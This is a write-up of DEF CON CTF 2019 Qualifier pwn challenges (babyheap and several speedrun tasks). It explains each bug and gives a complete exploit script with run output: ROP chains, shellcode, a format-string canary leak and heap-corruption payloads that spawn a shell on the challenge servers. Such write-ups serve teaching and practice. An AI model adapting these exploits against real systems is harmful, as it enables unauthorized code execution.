CTFするぞ

CTF以外のことも書くよ

DEF CON CTF 2019 Qualifier Writeup

DEF CON CTF 2019 Qualfier had been held this weekend and I played this CTF with team dcua. We got 1347 in total and reached the 35th place. I enjoyed it but I'm not convinced the scoring system of speedrun challs. Anyway, the quality of the challenges I solved were pretty good.

Thank you @oooverflow for holding such a big competition.

[Pwn 112pts] babyheap

We are given a 64-bit ELF binary and the libc binary. We can malloc / free / show maximum 10 chunks and there's no double free and can specify the data size between 1 to 0x178. However, it allocates 0xf8 bytes if the data size is less than or equals to 0xf8, otherwise 0x178 bytes.

First of all, let's leak the libc address. I consumed all the tcache and got the libc address by leaking the unsorted bin address linked to the fastbin chunks. (Also I leaked the heap address but I didn't use it.)

The goal is to write the one gadget address to __free_hook or __malloc_hook as RELRO is fully enable. The program has a off-by-one vulnerability and we can overwrite one byte in the data. So, we can change the least byte of the size info of the next chunk if we set the data size to 0xf8. It seems coalescing chunks by overlapping is enough, but there are 2 problems:

  • It quits reading our input when a NULL byte or a newline is given.
  • It clears the data region with 0 whenever we free the chunk.

After some trials I found a way to overcome them. The size of the region to be cleared when freed depends on our input. And we have an off-by-one vulnerability. These means that we can write byte by byte and keep it on the memory without being erased. In this way we can just write the address of __mallo_hook into the freed chunk and link it to the tcache. This is the final exploit (__free_hook+__libc_system / __free_hook+one gadget didn't work because of the memory layout):

from ptrlib import *

def malloc(data, size):
    sock.recvuntil('Command:\n> ')
    sock.sendline('M')
    sock.recvuntil('>')
    sock.sendline(str(size))
    sock.recvuntil('>')
    sock.sendline(data)

def malloc2(data, size):
    #assert data[-1] == 0
    sock.recvuntil('Command:\n> ')
    sock.sendline('M')
    sock.recvuntil('>')
    sock.sendline(str(size))
    sock.recvuntil('>')
    sock.send(data)

def free(index):
    sock.recvuntil('Command:\n> ')
    sock.sendline('F')
    sock.recvuntil('>')
    sock.sendline(str(index))

def show(index):
    sock.recvuntil('Command:\n> ')
    sock.sendline('S')
    sock.recvuntil('> ')
    sock.sendline(str(index))
    return sock.recvline().rstrip()

#"""
libc = ELF("libc.so")
main_arena = 0x1e4c40
delta = 592
one_gadget = 0x106ef8
sock = Socket("babyheap.quals2019.oooverflow.io", 5000)
#"""
"""
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
main_arena = 0x3ebc40
delta = 592
one_gadget = 0x10a38c
#sock = Socket("127.0.0.1", 5000)
sock = Process(["stdbuf", "-o0", "./babyheap"])
#"""

# leak libc base and heap address
for i in range(9):
    malloc('A' * 8, 8)
for i in reversed(range(9)):
    free(i)
for i in range(9):
    if i == 5:
        malloc('', 8)
    else:
        malloc('A' * 8, 8)
addr_main_arena = u64(show(7)[8:])
addr_heap = u64(show(5))
libc_base = addr_main_arena - main_arena - delta
dump("libc base = " + hex(libc_base))
dump("addr heap = " + hex(addr_heap))

# clear
for i in reversed(range(9)):
    free(i)

# overlap chunk
malloc('A', 0xf8) # 0
malloc('B', 0xf8) # 1
malloc('C', 0xf8) # 2

payload = b'A' * 0xf8
payload += b'\x81'
free(0)
malloc(payload, 0xf8) # 0
free(1)

## write __malloc_hook to 2nd chunk
free(2)
# craft __malloc_hook
append = p64(libc_base + libc.symbol("__malloc_hook"))[:-1]
for i in range(1, len(append) + 1):
    payload = b'A' * 0xf8
    payload += p16(0x101) # size
    payload += b'X' * 6
    payload += append[:-i]
    print(payload[0xf8:])
    malloc(payload, len(payload) - 1)
    free(1)
# nullify size
malloc(b'A' * 0xff, 0x100)
free(1)
# fix size
payload = b'A' * 0xf8
payload += p16(0x101)
payload += b'\x00'
malloc2(payload, len(payload))

# link it
malloc(b'A', 0xf8) # 2
payload = p64(libc_base + one_gadget)[:-2]
#payload = p64(libc_base + libc.symbol("system"))[:-2]
dump("__malloc_hook = " + hex(libc_base + libc.symbol("__malloc_hook")))
dump("one_gadget = " + hex(libc_base + one_gadget))
malloc(payload, 0xf8) # 3 == __malloc_hook

# get the shell!
#free(2)
sock.recvuntil('Command:\n> ')
sock.sendline('M')
sock.sendline('7')

sock.interactive()

Perfect!

$ python solve.py 
[+] Socket: Successfully connected to babyheap.quals2019.oooverflow.io:5000
[ptrlib] libc base = 0x7fbca573c000
[ptrlib] addr heap = 0x5616a35cda60
b'\x01\x01XXXXXX0\x0c\x92\xa5\xbc\x7f'
b'\x01\x01XXXXXX0\x0c\x92\xa5\xbc'
b'\x01\x01XXXXXX0\x0c\x92\xa5'
b'\x01\x01XXXXXX0\x0c\x92'
b'\x01\x01XXXXXX0\x0c'
b'\x01\x01XXXXXX0'
b'\x01\x01XXXXXX'
[ptrlib] __malloc_hook = 0x7fbca5920c30
[ptrlib] one_gadget = 0x7fbca5842ef8
[ptrlib]$ Size:
> 
[ptrlib]$ cat flag
OOO{4_b4byh34p_h45_nOOO_n4m3}

[Pwn 5pts] speedrun-001

The binary has a simple stack overflow. We can easily craft a ROP to get the shell because the binary is statically linked.

from ptrlib import *

elfpath = "./speedrun-001"

libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
sock = Socket("speedrun-001.quals2019.oooverflow.io", 31337)
elf = ELF(elfpath)
#sock = Process(elfpath)

addr_read = 0x4498a0
bss = 0x6b6000

rop_pop_rdi = 0x00400686
rop_pop_rsi = 0x004101f3
rop_pop_rax = 0x00415664
rop_pop_rdx = 0x004498b5
rop_syscall = 0x0040129c

payload = b'A' * 0x408
payload += p64(rop_pop_rdi)
payload += p64(0)
payload += p64(rop_pop_rsi)
payload += p64(bss)
payload += p64(rop_pop_rdx)
payload += p64(8)
payload += p64(addr_read)
payload += p64(rop_pop_rdi)
payload += p64(bss)
payload += p64(rop_pop_rsi)
payload += p64(0)
payload += p64(rop_pop_rdx)
payload += p64(0)
payload += p64(rop_pop_rax)
payload += p64(59)
payload += p64(rop_syscall)

sock.sendline(payload)

from time import sleep
sleep(1)
sock.send("/bin/sh")

sock.interactive()
$ python solve.py 
[+] Socket: Successfully connected to speedrun-001.quals2019.oooverflow.io:31337
[ptrlib]$ Hello brave new challenger
Any last words?
This will be the last thing that you say: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@
cat flag
[ptrlib]$ OOO{Ask any pwner. Any real pwner. It don't matter if you pwn by an inch or a m1L3. pwning's pwning.}

[Pwn 5pts] speedrun-002

Similar to speedrun-001 but it's not statically linked. I crafted a simple ROP stager.

from ptrlib import *
from time import sleep

elfpath = "./speedrun-002"

libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
elf = ELF(elfpath)
sock = Socket("speedrun-002.quals2019.oooverflow.io", 31337)
#sock = Process(elfpath)

plt_read = 0x4005e0
plt_puts = 0x4005b0

rop_pop_rdi = 0x004008a3
rop_pop_rsi_r15 = 0x004008a1
rop_pop_rdx = 0x004006ec

sock.send("Everything intelligent is so boring.")
sock.recvuntil("thing to say.")

payload = b'A' * 0x408
payload += p64(rop_pop_rdi)
payload += p64(elf.got("puts"))
payload += p64(plt_puts)
payload += p64(0x400600)
payload += p64(0xffffffffffffffdd)
sock.sendline(payload)

sock.recvline()
sock.recvline()
sock.recvline()
addr_puts = u64(sock.recvline().rstrip())
libc_base = addr_puts - libc.symbol("puts")
dump("libc base = " + hex(libc_base))

sock.recvuntil("What say you now?")
sock.send("Everything intelligent is so boring.")
sock.recvuntil("thing to say.")

rop_pop_rax = libc_base + 0x000439c7
rop_syscall = libc_base + 0x000d2975

payload = b'A' * 0x408
payload += p64(rop_pop_rdi)
payload += p64(libc_base + next(libc.find("/bin/sh")))
payload += p64(rop_pop_rsi_r15)
payload += p64(0)
payload += p64(0)
payload += p64(rop_pop_rdx)
payload += p64(0)
payload += p64(rop_pop_rax)
payload += p64(59)
payload += p64(rop_syscall)
sock.sendline(payload)

sock.interactive()
$ python solve.py 
[+] Socket: Successfully connected to speedrun-002.quals2019.oooverflow.io:31337
[ptrlib] libc base = 0x7fd1891c6000
[ptrlib]$ 
Tell me more.
Fascinating.
cat flag
[ptrlib]$ OOO{I_didn't know p1zzA places__mAde pwners.}

[Pwn 5pts] speedrun-003

Now it's a shellcode challenge. We have to make the shellcode to be exactly 30 bytes. And the result of xor(shellcode[:15]) must be equals to xor(shellcode[15:]).

from pwn import *

def xor(shellcode):
    r = 0
    for c in shellcode:
        r ^= ord(c)
    return r

elfpath = "speedrun-003"
sock = remote("speedrun-003.quals2019.oooverflow.io", 31337)
#sock = process(elfpath)

shellcode = asm("""
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
mov al, 0x3b
syscall
""", arch="amd64")
shellcode += b'A' * (0x1d - len(shellcode))

print(disasm(shellcode, arch='amd64'))

for c in range(0x100):
    if xor(shellcode[:15]) == xor(shellcode[15:] + chr(c)):
        shellcode += chr(c)
        break
else:
    print("ops")

sock.send(shellcode)

sock.interactive()
$ python solve.py 
[+] Opening connection to speedrun-003.quals2019.oooverflow.io on port 31337: Done
   0:   48 bb d1 9d 96 91 d0    movabs rbx,0xff978cd091969dd1
   7:   8c 97 ff 
   a:   48 f7 db                neg    rbx
   d:   53                      push   rbx
   e:   54                      push   rsp
   f:   5f                      pop    rdi
  10:   99                      cdq    
  11:   52                      push   rdx
  12:   57                      push   rdi
  13:   54                      push   rsp
  14:   5e                      pop    rsi
  15:   b0 3b                   mov    al,0x3b
  17:   0f 05                   syscall 
  19:   41                      rex.B
  1a:   41                      rex.B
  1b:   41                      rex.B
  1c:   41                      rex.B
[*] Switching to interactive mode
Think you can drift?
Send me your drift
$ cat flag
OOO{Fifty percent of something is better than a hundred percent of nothing. (except when it comes to pwning)}
$

[Pwn 5pts] speedrun-009

It has a simple stack overflow vuln but the SSP is enabled. It also has a FSB for only leaking the memory. So, I leaked the canary, libc basae and crafted a ROP.

from ptrlib import *

libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
sock = Socket("speedrun-009.quals2019.oooverflow.io", 31337)
#sock = Process("./speedrun-009")

# leak canary
_ = input()
sock.recvuntil("1, 2, or 3\n")
sock.send("2")
payload = b'%163$p.%169$p.'
sock.send(payload)
sock.recvuntil("it \"")
r = sock.recvuntil("\"")
l = r.split(b".")
canary = int(l[0], 16)
addr_libc_start_main_ret = int(l[1], 16)
libc_base = addr_libc_start_main_ret - libc.symbol("__libc_start_main") - 231
dump("canary = " + hex(canary))
dump("libc base = " + hex(libc_base))

# overwrite
sock.recvuntil("1, 2, or 3\n")
sock.send("1")
#payload = b'A' * 0x4d8
payload = b'A' * 0x408
payload += p64(canary)
payload += b'A' * 8
payload += p64(libc_base + 0x000439c7)
payload += p64(59)
payload += p64(libc_base + 0x0002155f)
payload += p64(libc_base + next(libc.find("/bin/sh")))
payload += p64(libc_base + 0x00023e6a)
payload += p64(0)
payload += p64(libc_base + 0x00001b96)
payload += p64(0)
payload += p64(libc_base + 0x000d2975)
#payload += b'A' * (0x5dc - len(payload))
sock.send(payload)

# get the shell!
sock.send("3")

sock.interactive()
$ python solve.py 
[+] Socket: Successfully connected to speedrun-009.quals2019.oooverflow.io:31337
[ptrlib] canary = 0x3af6834656253c00
[ptrlib] libc base = 0x7fc29e74c000
[ptrlib]$ Choose wisely.
1, 2, or 3
3
[ptrlib]$ cat flag
[ptrlib]$ OOO{Is it even about the cars anymore? Where does it end???}

[Pwn 5pts] speedrun-010

It's a heap challenge now. It doesn't have a double free but have a UAF. We can set the name and the message seperately and can free name before used by the message. In this way we can leak the puts address and change it to __libc_system.

from ptrlib import *

def alloc_name(name):
    sock.recvuntil("1, 2, 3, 4, or 5\n")
    sock.send("1")
    sock.recvline()
    sock.send(name)

def alloc_message(msg):
    sock.recvuntil("1, 2, 3, 4, or 5\n")
    sock.send("2")
    sock.recvline()
    sock.send(msg)

def free_name():
    sock.recvuntil("1, 2, 3, 4, or 5\n")
    sock.send("3")

def free_message():
    sock.recvuntil("1, 2, 3, 4, or 5\n")
    sock.send("4")
    
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#sock = Process("./speedrun-010")
sock = Socket("speedrun-010.quals2019.oooverflow.io", 31337)

# leak libc
alloc_name("A")
alloc_name("B")
free_name()
free_name()
alloc_name("B" * 0x17)
alloc_message("X" * 0x10)
addr_puts = u64(sock.recvline()[0x18:].rstrip())
libc_base = addr_puts - libc.symbol("puts")
dump("libc base = " + hex(libc_base))

# get the shell
alloc_name("/bin/sh")
alloc_name("/bin/sh")
free_name()
alloc_name("sh;")
payload = b'X' * 0x10
payload += p64(libc_base + libc.symbol("system"))
dump("system = " + hex(libc_base + libc.symbol("system")))
alloc_message(payload)

sock.interactive()
$ python solve.py 
[+] Socket: Successfully connected to speedrun-010.quals2019.oooverflow.io:31337
[ptrlib] libc base = 0x7f321d23c000
[ptrlib] system = 0x7f321d28b440
[ptrlib]$ cat flag
[ptrlib]$ OOO{Yeah, he's loony. He just like his toons. Aren't W#_____411???}